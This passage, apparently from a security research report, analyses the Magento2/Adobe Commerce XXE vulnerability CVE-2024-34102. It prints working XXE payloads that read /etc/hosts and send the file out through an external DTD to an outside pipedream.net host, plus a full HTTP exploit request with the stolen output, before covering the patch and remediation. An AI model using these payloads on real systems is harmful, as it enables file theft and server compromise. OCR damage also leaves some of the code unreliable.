symbol in an XML document, the document will be interpreted differently according to the XML

specification. A symbol that is created to be used like a conventional character is called an entity.

entity Character displayed

&amp; &
&lt; <
&gt; >

&apos;

&quot;

DTD (XML document type definition) can define the structure of XML documents, the types of data
values, and various items. DTD is declared within the DOCTYPE element at the beginning of an

XML document. DTD can be declared within a document or defined in an external file.

The declaration of an external entity that is defined in the form of an external file uses the SYSTEM
keyword, and designates the URL on which the entity value should be loaded. An example is as

follows:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “https://URL_TO_LOAD"> ]>
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Load URL can use a variety of protocols that are used inside the system. A typical example is file:/,
php wrapper, and jar:. When a server outputs the XML syntax analysis result, you can use the PHP

wrapper function as follows to load a specific file with an entity and then output it.

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “php://filter/convert.base64-encode/resource=/etc/hosts”> 1>
<foo>&ext;</foo>

If the server side does not output the XML syntax analysis results, a malicious DTD file can be hosted
from the outside to leak internal file information. A file XXE request that leaks the /etc/hosts file is

as follows:

<?xml version="1.0" ?> <IDOCTYPE r [ <IELEMENT r ANY > <IENTITY %sp SYSTEM
"https://URL_TO_LOAD/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>

According to the XML syntax above, the %sp external entity is defined, which will invite a malicious

DTD from outside. An example of a malicious DTD file hosted from outside is as follows:

<IENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts"> <!ENTITY % parami
"<IENTITY exfil SYSTEM ‘https://URL_TO_LOAD?data=%data;'>">

%data encodes the /etc/hosts file in the form of Base64 using the php wrapper function. %param!
defines the exfil entity, designates the value of the %data above as URL parameter, and leaks it to the
attacker's server.
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2) Vulnerable point to XXE (XML External Entity Injection) attack

WSimpleXMLElement is a class that can exploit XXE vulnerabilities in Magento2 and interprets
XML syntaxes. As mentioned in Step 2, since the constructor argument is called recursively from the
class name ($className) passed as an argument in the _createFromArray method, you can determine
if it's vulnerable by checking whether the WSimpleXMLElement class, which interprets XML syntax

from the Address constructor argument, is reachable.

Tracing the Address constructor arguments shows that the class is called recursively. The last class
call is made because the SourceData type in MagentoWQuoteWModelWQuoteWAddressWTotal
WCollector is WMagentoWFrameworkWSimplexm|WElement.

MagentoWQuote#Model#QuotettAddress
|
MagentoWQuote¥tModel#QuoteWtotalsReader
|
MagentoWQuoteWModel#QuotetTotalsCollectorList
|
MagentoWQuotettModel#QuoteWAddressWTotal#Collector
|
WMagentotFramework#Simplexml#Element

vendor » mac Juote > Address " Collector.php

{

Figure 26. Source code specifying that sourceData type is WMagentoWFrameworkWSimplexmIWElement

This can be confirmed through a debugger.
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Cutput

Figure 27. Checking WMagentoWFrameworkWSimplexm!WElement class type calling in sourceData

As this class inherits the SimpleXMLElement class, you can see that the constructor usage is the same

as that of the SimpleXMLElement class.

v e Element
Figure 28. Checking inherited class in the WMagentoWFrameworkWSimplexmIWElement source code
On the php official documentation, simpleXMLElement takes the following arguments as

constructors.

class SimpleXMLElement implements Stringable, Countable, Recursivelterator {

public _ construct

string $data,
int $options = @

r

string $namespace0rPrefix = i

bool $isPrefix = false

Figure 29. Receiving simpleXMLElement class constructor on the php official document
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Figure 30. Receiving simpleXMLElement class constructor checked with debugger

An XXE vulnerability occurs when malicious XML syntax is passed to $data among the
simpleXMLElement class constructors. Also, in $options, 524290 (2+524288) can be sent as a setting
value through the LIBXML_NOENT(2) option, which means internal/external entity substitution
option, and the LIBXML_PARSEHUGE(524288) option, which does not limit entity recursion and

node size.
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3) XXE (XML External Entity Injection) attack exploitation

An attack can be performed by sequentially calling the classes mentioned in 2) above and then passing

malicious XML syntax in sourceData. The payload that leaks the /etc/hosts file through XXE attack

is as follows.

POST /rest/V1/guest-carts/egst-test/estimate-shipping-methods HTTP/2
Host: magento.test

Cookie: XDEBUG_SESSION=PHPSTORM

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

Content-Type: application/json

Content-Length: 401

{

"address": {
"totalsReader": {

"collectorList": {
"totalCollector": {
"sourceData": {
"data": "<?xml version=¥"1.0%" ?> <IDOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM
W"https://6fb9a4a787344a9ecd41a35af5d55444.m.pipedream.net/dtd. xmIW"> %sp; %param1; 1>
<r>&exfil;</r>",
"options": 524290

You can find that the /etc/hosts/ information encoded in base64 has been stolen.

{

}

POST /rest/Vl/guest-carts/eqst-test/estimate-shipping-methods HITP/Z e
Host: magento, test m e & 8 @ LAY
Cockie: XDEBUG_SESSION=PHFSTORM

Accept: application/jsen, text/javascript, */*; q=0.01
X-Pequested-With: XMLHtcpRequest

Content-Type: application/json

_ | content-Length: 405

"address": {
"totalsReader": (

"collectorList™: {
"totalCollector": {
"sourceData’: |
"data”:
"<rxml version=."1.0W" ?> <!DOCTYPE r [ <!ELEMENT & ANV > <!ENTITY % sp SYSTEM \"https://
d55444,n.pipedrean. net/dtd. xml\"> %sp; Sparaml; 1> <r>eexfil ;</r>",
"options”: 524290
)
}
}

w¥guery {1}
¥ data

MTI3LFAUMCAXCWXVY2F5a68zdA0607ETDGS YWxob3NRIG1wWNI1sb2NhbGhyc3QgaXA2 L Wxvb3B1iYWNrCmZ IMDAGOTATaXA2LIWX VY2 F sbmVeCmZmMDAGOj AT aXA2 LW JYXNAcHI 1ZmlACmZmMDI60 ]

EJaXA2LWFsbG5VZGYZCmMZmMDIG0 I1aXAZ LWFsbHIvaXR1CnMEMT cy L TzL JAUOAKIMIU2ZmRKYZR FMc

Figure 31. Stealing /etc/hosts information through XXE attack
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4) Impact of attack
(1) Using administrator privilege API
Since the signature key of the JWT used for API authentication is generated with the key value in the

crypt of the app/etc/env.php file, there is a risk of using the API function with admin. privileges.

(2) CVE-2024-2961 vulnerability chain

The CVE-2024-2961 vulnerability occurs in glibc, the GNU C Library. This vulnerability, which
occurs when iconv function within the library is used, can cause an output buffer overflow when
converting a string to a language set in an environment in which ISO-2022-CN-EXT can be used.
This vulnerability allows an attacker to cause an application to crash or overwrite adjacent variables

by exploiting the php://filter function of the php wrapper.
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B Countermeasure

On June 11, when CVE-2024-34102 was announced, Magento2 released version 2.4.7-p1 that
patches the vulnerability. You can download the source code from that release.

« URL: https://github.com/magento/magento2/releases/tag/2.4.7-p1

Comparing the source code with the change after the patch application, you can find the following
validation logic added to the _createFromArray method in lib/internal/Magento/Framework/Webapi

where the vulnerability occurred.

...agento2-2.4.7-p1#libWinternal¥MagentoWFrameworkWWebapi¥ServicelnputProcessor.php

275 protected function _createFromArray($eclassName, $data)

216

o7 $data = is_array($data) 7 $data : [1;

278 // convert to string directly to avoid situations when $classhame |
279 /7 which implements __toString method |ike #ReflectionObject
260 $classhame = (string) $className;

51 it (is_subclass_of($className, WSimplexXMLElement: class)

P52 || is_subclass_of ($className, #DOME|ement: :class)) {

253 throw new SerializationException(

284 new Phrase(' Invalid data type')

285 i

266 )

207 Pclass = new ClassBef lection($className) ;

Figure 32. _createFromArray method verification logic added in the 2.4.7-p1 patch

In this validation logic, the patch is designed to conduct execution handling when it receives the class
name that inherits WSimpleXMLElement or WDOMElement, which can interpret XML syntax, as
an argument of $className and return “Invalid data type”. If you send the same attack syntax after

the patch, you can find that the attack fails with the following error syntax.

<|» Target: httpsy//magento.test y HTTP/2
a-= =
Request Response
Pretty Raw Hex = n = Pretty Raw Hex Renide n =
1 POST /rest/V1/guest-carcs/eqgst-test/estimate-shipping-methods HTTE/Z 1 HTTP/Z 400 Bad Rerquest
2 Host: magento.test z Server: nginx/1.24.0
3 Cookie: XDEBUG_SESSION=FHFSTORM 3 Date: 5Sun, 11 Aug 2024 13:32:02 GMT
4 Accept: application/json, text/javascript, */*; g=0.01 4 Content-Type: application/json; charsst=utf-g
5  X-Requested-With: XMLHttpRecquest 5 X-Powered-By: PHP/B.3.6
¢ Content-Type: application/json & Cache-Control: no-store
7 Content-Length: 405
g g I
s | "message”:"Invalid data type",
"address™: { "trace":mull
"totalsReader": { }

"collectorList”: {
"totalCollector™: {
"sourceData™: {
"data”:
"<?xml version=%"1.01" 2> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENT|
ITY % sp STSTEM \"https://
Jdtd.xml\"> %sp: Sparaml; 1> <rysexfil;</r>",

"options": 524280

Figure 33. 2.4.7-p1 attack failure after patch
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Patch work is performed in the following order:

. Apply the isolated patch (including the hotfix) or the hotfix of July 17.
. Enable the maintenance mode.

. Disable the cron execution.

. Rotate the encryption key.

. Flush the cache.

. Enable the cron execution.

~N o o AN =

. Disable the maintenance mode.

You can check the patch file and detailed process below:

URL: https://experienceleague.adobe.com/en/docs/commerce—knowledge—

base/kb/troubleshooting/known-issues—patches—attached/security—update—available—for-adobe—

commerce—apsb24-40-revised—to—include—isolated—patch—for—cve—2024-34102

Users running vulnerable versions of Adobe Commerce are encouraged to perform the patch in the
order above.
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B Reference Sites

» Magento Is Now Adobe Commerce : https://business.adobe.com/blog/the-latest/magento-is-now-part-

of-adobe

« Magento Community vs. Enterprise Edition Comparison : https://www.mgt-

commerce.com/blog/magento-community-vs-enterprise/

« Security update available for Adobe Commerce | APSB24-40 :

https://helpx.adobe.com/security/products/magento/apsb24-40.html

« spacewasp github : https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md

« why nested deserialization is harmful magento xxe cve-2024-34102 :

https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-

2024-34102

« ComsmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-

34102) : https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-

adobe-commerce-and-magento-cve-2024-34102

« Magento?2 how to create custom webapi :
https://magento.stackexchange.com/questions/280966/magento-2-how-to-create-custom-webapi

» Magento2 what case | use dixml and how to use di.xml for module :

https://magento.stackexchange.com/questions/111845/magento-2-what-case-i-use-di-xml-and-how-to-

use-di-xml-for-module

 php manual simpleXMLElement : https://www.php.net/manual/en/class.simplexmlelement.php

» php manual libxml constants : https://www.php.net/manual/en/libxml.constants.php#constant.libxml-

schema-create

« RFC3470 Guidelines for the Use of Extensible Markup Language(XML) within IETF protocols :

https://datatracker.ietf.org/doc/html/rfc3470#section-2

» Magento?2 github : https://github.com/magento/magento?2

« XML external entity (XXE) Injection : https://portswigger.net/web-security/xxe
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